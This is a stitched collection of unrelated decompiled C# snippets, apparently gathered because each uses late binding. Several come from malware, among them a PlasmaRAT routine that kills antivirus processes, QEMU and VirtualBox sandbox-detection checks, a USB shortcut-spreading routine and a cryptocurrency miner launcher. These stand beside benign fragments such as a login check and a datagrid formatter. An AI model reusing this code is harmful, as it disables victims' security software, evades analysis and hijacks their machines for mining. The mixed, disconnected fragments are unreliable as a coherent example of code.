NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "IconLocation", new object[] { "%SystemRoot%\\system32\\SHELL32.dll,3" }, null, null); } else { NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "Arguments", new object[] { " " + ShortCutPath + "\\" + TargetName }, null, null); NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "IconLocation", new object[] { Icon }, null, null); } NewLateBinding.LateCall(USBBOOT.ObjectLink, null, "Save", new object[0], null, null, null, true); } catch { } }
protected bool UsuarioLogado() { string IPUsuario = this.Context.Request.UserHostAddress; string[] arrayXPTO = this.Application.AllKeys; for (int i = 0; i < arrayXPTO.Length; i++) { object msg = arrayXPTO[i]; if (Operators.ConditionalCompareObjectNotEqual(msg, "CONTADOR", false) && ((((Logado)NewLateBinding.LateGet(this.Application, null, "Item", new object[] { RuntimeHelpers.GetObjectValue(msg) }, null, null, null)).Usuario == this.txtUsuario.Text.ToUpper()) & (((Logado)NewLateBinding.LateGet(this.Application, null, "Item", new object[] { RuntimeHelpers.GetObjectValue(msg) }, null, null, null)).Cliente == this.txtCliente.Text.ToUpper()))) { this.ClientScript.RegisterClientScriptBlock(this.Page.GetType(), "alerta", "<script>alert('O Usu\x00e1rio com o IP " + ((Logado)NewLateBinding.LateGet(this.Application, null, "Item", new object[] { RuntimeHelpers.GetObjectValue(msg) }, null, null, null)).Ip + " est\x00e1 logado com esse Usu\x00e1rio/Senha. Entre em Contato com a equipe UNITFOUR!');</script>"); return(true); } } this.AddUsuario(); return(false); }
// Token: 0x0600004F RID: 79 RVA: 0x000055B0 File Offset: 0x000037B0 public static void AVProcSearcher() { try { string value = "Program Files"; try { foreach (object obj in ((IEnumerable)NewLateBinding.LateGet(Interaction.GetObject("winmgmts:", null), null, "ExecQuery", new object[] { "Select * from Win32_Process" }, null, null, null))) { object objectValue = RuntimeHelpers.GetObjectValue(obj); if ((NewLateBinding.LateGet(objectValue, null, "ExecutablePath", new object[0], null, null, null).ToString().Contains(value) | NewLateBinding.LateGet(objectValue, null, "ExecutablePath", new object[0], null, null, null).ToString().Contains("ProgramData")) && !NewLateBinding.LateGet(objectValue, null, "executablepath", new object[0], null, null, null).ToString().Contains(PlasmaRAT.InstallationOfEverything) && Operators.CompareString(NewLateBinding.LateGet(objectValue, null, "executablepath", new object[0], null, null, null).ToString(), Application.ExecutablePath, false) != 0) { try { try { if (AVKill.CheckProcess(Conversions.ToString(NewLateBinding.LateGet(objectValue, null, "ExecutablePath", new object[0], null, null, null)))) { Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateGet(objectValue, null, "ProcessID", new object[0], null, null, null))).Kill(); } } catch (Exception ex) { } } catch (Exception ex2) { } } } } finally { IEnumerator enumerator; if (enumerator is IDisposable) { (enumerator as IDisposable).Dispose(); } } } catch (Exception ex3) { } }
public static void SendToAllClientMapid(int _Id, string packet) { try { IEnumerator enumerator = Server.ListView_Client.Items.GetEnumerator(); while (enumerator.MoveNext()) { ListViewItem listViewItem = (ListViewItem)enumerator.Current; try { Client client = (Client)listViewItem.Tag; if (client._socket.Connected && Conversions.ToBoolean(Operators.AndObject(client._My_Id != _Id, Operators.CompareObjectEqual(client._My_MapId, NewLateBinding.LateGet(Server.ListView_Client.Items[_Id.ToString()].Tag, null, "_My_MapId", new object[0], null, null, null), false)))) { byte[] array = Class5.smethod_5(Class5.smethod_4(packet)); if (client._socket.Connected) { client._socket.Send(array, 0, array.Length, SocketFlags.None); } } } catch (Exception expr_C8) { ProjectData.SetProjectError(expr_C8); ProjectData.ClearProjectError(); } } } finally { } }
private bool QUEMU() { return(Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "QEMU" }, null, null, null)) || Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\Description\\System", "SystemBiosVersion"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "QEMU" }, null, null, null))); }
private void Console_Timer_QuickBoot_Click(object sender, EventArgs e) { this.tmrTimer.SetTime(Conversions.ToString(0), Conversions.ToString(Operators.MultiplyObject(Operators.AddObject(NewLateBinding.LateGet(NewLateBinding.LateGet(sender, null, "Parent", new object[0], null, null, null), null, "Index", new object[0], null, null, null), 1), 30))); }
private bool VBOX() { return(Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VBOX" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\Description\\System", "SystemBiosVersion"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VBOX" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\Description\\System", "VideoBiosVersion"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VIRTUALBOX" }, null, null, null)) || Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.LocalMachine.GetValue(@"SOFTWARE\\Oracle\\VirtualBox Guest Additions", ""), "noValueButYesKey", false)))); }
private void formatdgv(object dgv2) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Rows", new object[0], null, null, null), null, "Count", new object[0], null, null, null), 0, false)) { NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 0 }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1] { "Fournisseur" }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 1 }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1] { "Réf. Article" }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 2 }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1] { "Lib. Article" }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 3 }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1] { "Qté" }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 4 }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1] { "Prix U." }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 5 }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1] { "Date entrée" }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 6 }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1] { "Stock avant" }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 7 }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1] { "Stock après" }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 8 }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1] { "Type entrée" }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 0 }, null, null, null), null, "Width", new object[1] { 120 }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 1 }, null, null, null), null, "Width", new object[1] { 140 }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 2 }, null, null, null), null, "Width", new object[1] { 160 }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 3 }, null, null, null), null, "Width", new object[1] { 100 }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 4 }, null, null, null), null, "Width", new object[1] { 130 }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 5 }, null, null, null), null, "Width", new object[1] { 120 }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 6 }, null, null, null), null, "Width", new object[1] { 130 }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 7 }, null, null, null), null, "Width", new object[1] { 130 }, null, null, false, true); NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1] { 8 }, null, null, null), null, "Width", new object[1] { 130 }, null, null, false, true); object obj = null; int num = Conversions.ToInteger(Operators.SubtractObject(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Rows", new object[0], null, null, null), null, "Count", new object[0], null, null, null), 1)); for (int i = 0; i <= num; i = checked (i + 1)) { if (i % 2 == 1) { object[] obj2 = new object[1] { i }; object[] array = obj2; bool[] obj3 = new bool[1] { true }; bool[] array2 = obj3; object instance = NewLateBinding.LateGet(dgv2, null, "Rows", obj2, null, null, obj3); if (array2[0]) { i = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(int)); } NewLateBinding.LateSetComplex(NewLateBinding.LateGet(instance, null, "DefaultCellStyle", new object[0], null, null, null), null, "BackColor", new object[1] { Color.LightBlue }, null, null, false, true); } else { object[] obj4 = new object[1] { i }; object[] array = obj4; bool[] obj5 = new bool[1] { true }; bool[] array2 = obj5; object instance = NewLateBinding.LateGet(dgv2, null, "Rows", obj4, null, null, obj5); if (array2[0]) { i = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(int)); } NewLateBinding.LateSetComplex(NewLateBinding.LateGet(instance, null, "DefaultCellStyle", new object[0], null, null, null), null, "BackColor", new object[1] { Color.White }, null, null, false, true); } } } }
// Token: 0x0600008F RID: 143 RVA: 0x0000A178 File Offset: 0x00008378 public static void ManageMiner() { try { if (File.Exists(HandleMiner.Minersettings)) { string text = File.ReadAllText(HandleMiner.Minersettings); object instance = text.Split(new char[] { '|' }); if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet(instance, new object[] { 0 }, null), "1", false)) { object left = NewLateBinding.LateIndexGet(instance, new object[] { 1 }, null); if (Operators.ConditionalCompareObjectEqual(left, "0", false)) { object left2 = NewLateBinding.LateIndexGet(instance, new object[] { 2 }, null); if (Operators.ConditionalCompareObjectEqual(left2, "0", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left3 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left3, "0", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left3, "1", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left4 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left4, "0", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left4, "1", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } else if (Operators.ConditionalCompareObjectEqual(left2, "1", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left5 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left5, "0", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left5, "1", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left6 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left6, "0", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left6, "1", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } } else if (Operators.ConditionalCompareObjectEqual(left, "1", false)) { object left7 = NewLateBinding.LateIndexGet(instance, new object[] { 2 }, null); if (Operators.ConditionalCompareObjectEqual(left7, "0", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left8 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left8, "0", false)) { HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left8, "1", false)) { HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left9 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left9, "0", false)) { HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left9, "1", false)) { HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } else if (Operators.ConditionalCompareObjectEqual(left7, "1", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left10 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left10, "0", false)) { HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left10, "1", false)) { HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left11 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left11, "0", false)) { HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left11, "1", false)) { HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } } else if (Operators.ConditionalCompareObjectEqual(left, "2", false)) { object left12 = NewLateBinding.LateIndexGet(instance, new object[] { 2 }, null); if (Operators.ConditionalCompareObjectEqual(left12, "0", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left13 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left13, "0", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left13, "1", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left14 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left14, "0", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left14, "1", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } else if (Operators.ConditionalCompareObjectEqual(left12, "1", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left15 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left15, "0", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left15, "1", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left16 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left16, "0", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left16, "1", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } } } } } catch (Exception ex) { } }